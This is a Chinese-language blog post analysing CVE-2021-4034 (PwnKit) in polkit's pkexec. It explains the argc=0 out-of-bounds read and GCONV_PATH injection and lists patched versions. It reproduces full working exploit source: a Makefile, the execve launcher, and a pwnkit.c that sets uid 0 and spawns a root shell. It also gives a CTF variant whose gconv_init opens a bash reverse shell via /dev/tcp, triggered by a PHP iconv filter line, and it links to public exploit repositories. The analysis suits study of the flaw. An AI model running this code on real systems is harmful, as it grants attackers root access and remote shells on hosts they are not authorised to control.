CVE-2021-4034 pkexec本地提权漏洞
这个漏洞早在去年的时候就看过一些文章了, 不过一直都没用过这个漏洞的打法, 直到昨天的DASCTF才上手用了这个漏洞的一小段原理, 今天就写一篇关于这个漏洞的文章吧。
漏洞简介
NVD对这个漏洞的描述如下:
在polkit的pkexec工具上发现了一个本地权限升级的漏洞。pkexec应用程序是一个setuid工具,提供了一个授权 API, 允许非特权用户根据预定义的策略作为特权用户运行命令, 作用有点类似于sudo。有漏洞的pkexec没有正确处理调用参数计数,最后导致将环境变量作为命令执行(特权用户身份执行)。攻击者可以利用这一点,通过制作环境变量的方式,诱使pkexec执行任意代码。当成功执行后,攻击者可以在目标机器上给非特权用户以管理权限(root),从而导致本地权限升级。
影响版本
代码语言:javascript复制2009年5月至今发布的所有 Polkit 版本均可使用漏洞。由于为系统预装工具,目前存在Polkit的Linux系统均受影响。
安全版本
代码语言:javascript复制CentOS系列:
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu系列:
Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2
Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6
Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5 esm1
Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6 esm1
漏洞复现
在这里先使用个最容易使用的poc:https://github.com/berdav/CVE-2021-4034
漏洞分析
plokit基本组成
在了解这个漏洞前先看看plokit架构的一些组成部分方便了解pkexec的作用,在这里用引用一下大佬的文章:
polkit— 授权管理器
polkitd— polkit 系统守护进程
pkcheck— 检查一个进程是否被授权
pkaction— 获取有关已注册操作的详细信息
pkexec— 以另一个用户身份执行命令
pkttyagent— 文本认证助手
数组溢出
首先要知道当我们在bash中调用一个程序的时候即使我们没有输入任何参数在argv中也会有一个默认的参数argv[0]表示当前程序所在路径, 这时argc的值为1, 就是说正常情况下我们使用pkexec
的时候再其函数内部argc的值至少也为1。所以在程序编写的时候有一个读取argv参数的for循环是根据argc来进行参数获取的。for循环代码为:
for(n = 1; n<(guint)argc; n ) #注意此时n=1,正常情况下无参数时argc=1
{
if(strcmp(argv[n], "--help") == 0)
{
opt_show_help = TRUE;
}
else if(strcmp(argv[n], "--version") == 0)
{
opt_show_version = TRUE;
}
else if(...)
{
其它的一些参数设置
}
else
{
break;
}
}
...其它的一些判断help和version参数的语句, 不改变n的值
path = g_strdup(argv[n]); #正常情况下没参数就是获取到argv[1]
我们看以上代码的逻辑是没有问题的, 默认情况下无参数时argc = 1 , 同时argc
也是argv
数组的大小范围。但是当我们在程序中使用execve()
执行pkexec
时如果传入的args参数和environ参数均为数组为{NULL}, 那么就会导致pkexe内的argc参数值为0。这时候我们再回到源码中看一下,
是进入for循环:
n=1
n<(guint)argc
判断发现 (n=1 > argc=0) 条件不满足,退出循环
...执行其它一些不会改变n值的代码
path = g_strdup(argv[n]);
实际执行path = g_strdup(argv[1])
可以看到, 当我们使用execve
函数执行pkexec
的时候会导致pkexec内部执行代码:g_strdup(argv[1])
但是我们上面说过, argv数组的大小取决于argc ,但是此时argc = 0 , 所以就导致了数组越界问题。
那么我们获得的argv[1]
是什么呢?
|--------- --------- ----- ------------|--------- --------- ----- ------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|---- ----|---- ----- -----|------|----|---- ----|---- ----- -----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL
这个就是argv的存储结构, 可以看到后面接着的是envp变量数组, 这个数组就是我们上面提到的execve
函数的第二个参数environ
, 这个是环境变量参数, 使用execve
运行pkexe时envp[0]
的值为pwnkit.so:.
并且会在当前目录下创建一个名为GCONV_PATH=.
的文件夹并且在文件夹下创建一个名为pwnkit.so:.
的文件。
那么我们继续回到程序代码中看看接下来执行那些内容:
代码语言:javascript复制g_assert (argv[argc] == NULL);
path = g_strdup(argv[n]);
if(path == NULL)
{
usage(argc, argv);
goto out;
}
if(path[0] != '/')
{
s = g_find_program_in_path (path);
if(s == NULL)
{
g_printerr(...);
goto out;
}
g_free(path);
argv[n] = path = s;
}
....
可以看到代码进行了如下操作流程(GLib ->find_program_in_path函数解释):
代码语言:javascript复制1. 执行path=g_strdup(argv[n])越界读取到envp[0] = pwnkit.so:.
path = 'pwnkit.so:.'
2. if判断发现首字符并不是`/`然后进入if判断语句中
3. 执行s = g_find_program_in_path (path);
建立文件夹'GCONV_PATH=.'然后在里面生成文件'pwnkit.so:.'然后返回地址'GCONV_PATH=./pwnkit.so'
4. ...
5. 执行argv[1] = path = s;
所以此时argv[1]被赋值为'GCONV_PATH=./pwnkit.so'
前面有说道, argv[1]
其实就是环境变量数组中的envp[0]
, 所以就是写入了一个环境变量GCONV_PATH
,。
但是这有什么用呢?
利用数组溢出设置环境变量加载so文件
在这里我们先了解一下漏洞的最后几步的利用原理就可以明白GCONV_PATH
这个环境变量的关键了:
exp利用g_printerr打印错误信息时特殊的执行流程进行getshell。
- 当Linux中CHARSET不是设置为
UTF-8
格式,则会调用iconv
,用于将文本从一种编码转化为另一种编码。 - 在调用iconv之前需要通过执行
iconv_open
函数分配转化描述符号。 -
iconv_open
函数的执行会受到GCONV_PATH
环境变量影响:- 若
GCONV_PATH
未设置,那么iconv_open会加载系统默认的模块配置的缓存文件(默认的配置文件位于/usr/lib/gconv/gconv-modules)。 - 若
GCONV_PATH
被设置,则会优先加载设置路径下的配置文件(例如/tmp/exp.so
)。
- 若
通过上面流程可以看到我们是利用了一个数组溢出的漏洞去达到设置变量的目的, 然后尝试利用g_printerr函数打印错误信息的一些特征通过间接触发最后执行自行编译的.so文件中的恶意代码。
但是真的那么简单嘛?
并不是, 这个GCONV_PATH
参数并不是任由我们随意更改的。linux的动态链接器会在特权程序执行的时候清除危险的环境变量,因此使用execve
启动pkexec
时,即使设置了GCONV_PATH
也会被连接器清除。测试可以在本地设置一个文件为具有suid的可执行文件file1用于输出全部的环境变量, 然后再创建一个可执行文件file用来通过execve
执行具有suid权限的file1, 并且将execve
函数的第三个参数environ
数组中加入GCONV_PATH
这个变量。但是在执行file2的时候可以看到并没有GCONV_PATH
变量输出, 就是因为这个变量被动态链接器删除了。
所以我们的数组溢出漏洞的作用就是为了绕过动态链接器的清除功能设置了GCONV_PATH=./pwnkit.so
这个环境变量, 所以我们只要让pkexec使用g_printerr打印错误信息即可达到我们的目的: 加载当前目录下的pwnkit.so
文件
因为pkexec具有suid权限, 所以就可以让我们的pwnkit.so
文件中的恶意代码以root权限执行并且返回一个root的shell。
源码解析
源码
我们看一下上面工具中的源码:
CVE-2021-4034/Makefile
代码语言:javascript复制CFLAGS=-Wall
TRUE=(shell which true)
.PHONY: all
all: pwnkit.so cve-2021-4034 gconv-modules gconvpath
.PHONY: clean
clean:
rm -rf pwnkit.so cve-2021-4034 gconv-modules GCONV_PATH=./
make -C dry-run clean
gconv-modules:
echo "module UTF-8// PWNKIT// pwnkit 1">@
.PHONY: gconvpath
gconvpath:
mkdir -p GCONV_PATH=.
cp -f (TRUE) GCONV_PATH=./pwnkit.so:.
pwnkit.so: pwnkit.c(CC) (CFLAGS) --shared -fPIC -o@ $<
.PHONY: dry-run
dry-run:
make -C dry-run
CVE-2021-4034/cve-2021-4034.c
代码语言:javascript复制#include <unistd.h>
int main(int argc, char **argv)
{
char * const args[] = {
NULL
};
char * const environ[] = {
"pwnkit.so:.",
"PATH=GCONV_PATH=.",
"SHELL=/lol/i/do/not/exists",
"CHARSET=PWNKIT",
"GIO_USE_VFS=",
NULL
};
return execve("/usr/bin/pkexec", args, environ);
}
CVE-2021-4034/pwnkit.c
代码语言:javascript复制#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(void) {
}
void gconv_init(void *step)
{
char * const args[] = { "/bin/sh", NULL };
char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };
setuid(0);
setgid(0);
execve(args[0], args, environ);
exit(0);
}
gconv-modules
代码语言:javascript复制module UTF-8// PWNKIT// pwnkit 1
分析
pwnkit.c
就是单纯以root身份反弹得到一个shell
cve-2021-4034.c
为了满足我们一开始提到的数组溢出, args[]数组肯定为空了
代码语言:javascript复制 char * const environ[] = {
"pwnkit.so:.", //这个是什么我也没整明白
"PATH=GCONV_PATH=.", //要注入的环境变量(GCONV_PATH=.)
"SHELL=/lol/i/do/not/exists", //无效的shell触发g_printerr函数打印错误信息
"CHARSET=PWNKIT", //gconv-modules指定的字符集(指定加载的.so文件在这里设置)
"GIO_USE_VFS=", //运行pkexec的必须设置
NULL //环境变量数组envp是以NULL结束
};
代码不多原理也很明了就不多说了, 详细的还是直接从这里直接偷张图吧, 图中的源码exploit.c并不是我上面的演示工具里面的代码, 可见PwnKit-Exploit
CTF中的使用
简单说就是只用到了最后面的一点内容, 下面看一下怎么使用:
- 上传恶意.so文件
- 上传文件gconv-modules指定使用UTF-8字符集时iconv_open加载的缓存文件路径(/tmp/exp.so)
- 设置GCONV_PATH
- 使用php伪协议触发iconv
- 加载exp.so文件执行恶意代码
所以就是说我们需要先上传两个文件到/tmp下:
gconv-modules
代码语言:javascript复制module EXP// INTERNAL ../../../../../../../../tmp/exp 2
module INTERNAL EXP// ../../../../../../../../tmp/exp 2
exp.so源码
代码语言:javascript复制#include
#include
void gconv() {}
void gconv_init() {
system("bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'");
}
然后php执行:
代码语言:javascript复制putenv("GCONV_PATH=/tmp/");include('php://filter/read=convert.iconv.exp.utf-8/resource=/tmp/exp.so');
现成工具这里给几个地址吧:
- https://github.com/berdav/CVE-2021-4034
- https://github.com/luijait/PwnKit-Exploit
- https://github.com/arthepsy/CVE-2021-4034
- https://github.com/PeterGottesman/pwnkit-exploit